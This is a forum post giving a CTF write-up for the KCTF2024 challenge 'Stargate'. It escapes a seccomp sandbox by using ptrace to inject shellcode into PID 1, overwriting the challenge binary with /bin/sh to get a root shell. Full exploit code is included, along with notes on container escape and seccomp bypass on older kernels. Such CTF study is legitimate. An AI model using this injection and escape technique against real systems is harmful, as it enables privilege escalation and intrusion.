首页
社区
课程
招聘
[原创] KCTF2024 - 第八题星门 题解 与 ptrace绕过seccomp讨论 (手搓shellcode打咩)
发表于: 2024-8-30 18:09 8460

[原创] KCTF2024 - 第八题星门 题解 与 ptrace绕过seccomp讨论 (手搓shellcode打咩)

2024-8-30 18:09
8460

TL;DR

ptrace向entry point进程注入shellcode,替换power的文件为sh,2起遍历pid杀掉sleep让sh执行shellcode,再次连接题目就能拿到shell。

正文

程序分析

开沙箱之后读0x1000个字节的shellcode,然后直接call过去
call之前不动任何寄存器,可以说非常友好了
图片描述
dump一下沙箱的规则:
图片描述
只允许read, wait4, ptrace

思路

目标是读flag,但程序自身现在不能open和write,也不能fork一个进程出来
ptrace很强大,可以杀进程也可以读写进程内存和寄存器。
如果我们的shellcode太长,可以考虑用read二次延申。

山穷水尽

题目开了ptrace,在运行容器的时候也给了docker强大的 CAP_SYS_PTRACE 权限,此时:

  • 如果docker开启了共享了pid共享(或者低版本docker自带),那可以直接逃逸到宿主机。
  • 如果目标环境内核版本过低,ptrace的优先级低于seccomp。我们就可以用一个允许的syscall number先骗过seccomp,当被ptrace捕获时再修改为实际的syscall number,就可以绕过seccomp

但是本题目环境不存在这两个问题

(后记中还讨论了用prtace在另一种特定情况下竞争绕过seccomp的可能)

柳暗花明

注意本题的power虽然在chroot环境中,但还是作为root运行的,理论可以trace容器内的任意进程。那我们可以随意trace一个其他不受seccomp限制的进程,然后向其注入shellcode就可以摆脱seccomp和chroot了。

这里的shellcode就很自由了,可以是:
将power替换为sh,再次连接时候执行的power就会直接生成shell,注意在shellcode结尾加上循环,不然entrypoint执行结束容器就会退出,环境销毁。

容器中的进程有:

  • pid固定为1的entrypoint(/bin/sh start.sh),此时正在wait子进程
  • pid为x的子进程sleep infinity
  • pid为x+1的xinted
  • 连接时xinted产生的pid为y的power

执行流程

自己不能ptrace自己,xinted可以留给后续连接用,那就可以有以下思路:

  • ptrace sh的进程,向rip注入shellcode,因为sh在wait子进程所以还不会执行我们注入的shellcode
  • ptrace从2开始遍历,成功trace的第一个进程就为sleep进程
  • ptrace发送ALARM或者KILL之类的信号停掉sleep进程
  • 停止ptrace sh的进程,让其继续执行
  • 此时sh进程就会以root身份,在chroot外执行我们的shellcode

Exp编写

生成第二段shellcode(注入sh执行的shellcode):

1
2
3
4
5
6
from pwn import *
context.arch = 'amd64'
 
sc = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c',
                                       '/bin/cp /bin/sh /home/sectest/power; sleep infinity'], 0) + '\njmp $+0')
print(', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)]))

生成第一段shellcode(发给程序的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include
#include
#include
#include
#include "pwn.h"
int main() {
  pid_t sleep_pid = 2;
  struct user_regs_struct regs;
  struct rusage usage;
  int status;
  unsigned long long data[] = // 刚刚生成的shellcode
     0x10101010101b848, 0x68632eb848500101, 0x431480169722e6f, 0x101b848e7894824, 0x4850010101010101, 0x17875686f6867b8, 0x73b8482404314801, 0x506e69207065656c, 0x7265776f702fb848, 0x65732fb84850203b, 0xb848507473657463, 0x656d6f682f206873, 0x622f207063b84850, 0x101b848502f6e69, 0x4850010101010101, 0x6f68632e01622cb8, 0x1b848240431482e, 0x5001010101010101, 0x722e6f68632eb848, 0xf631240431480169, 0x56e601485e136a56, 0x6a56e601485e186a, 0x894856e601485e18, 0x50f583b6ad231e6, 0x909090909090feeb
  };
 
  syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
  while (syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
      sleep_pid++;
  }
  syscall(SYS_wait4, 1, &status, 0, &usage);
 
  syscall(SYS_ptrace, PTRACE_GETREGS, 1, NULL, ®s);
  for (int i = 0; i < sizeof(data) / sizeof(data[0]); i++) {
      syscall(SYS_ptrace, PTRACE_POKEDATA, 1, (void *)(regs.rip + i * sizeof(unsigned long long)), (void *)data[i]);
  }
  syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void *)SIGALRM);
 
  syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
  syscall(SYS_ptrace, PTRACE_DETACH, 1, NULL, NULL);
  return 0;
}

[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2024-9-2 14:54 被mb_czamoutp编辑 ,原因: 更改标题
收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 56043
活跃值: (21240)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
可以删除flag,等10分钟容器重启就恢复了
2024-8-30 18:14
1
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
pwn.h的源码可以提供一下吗
2024-10-12 10:14
0
游客
登录 | 注册 方可回帖
返回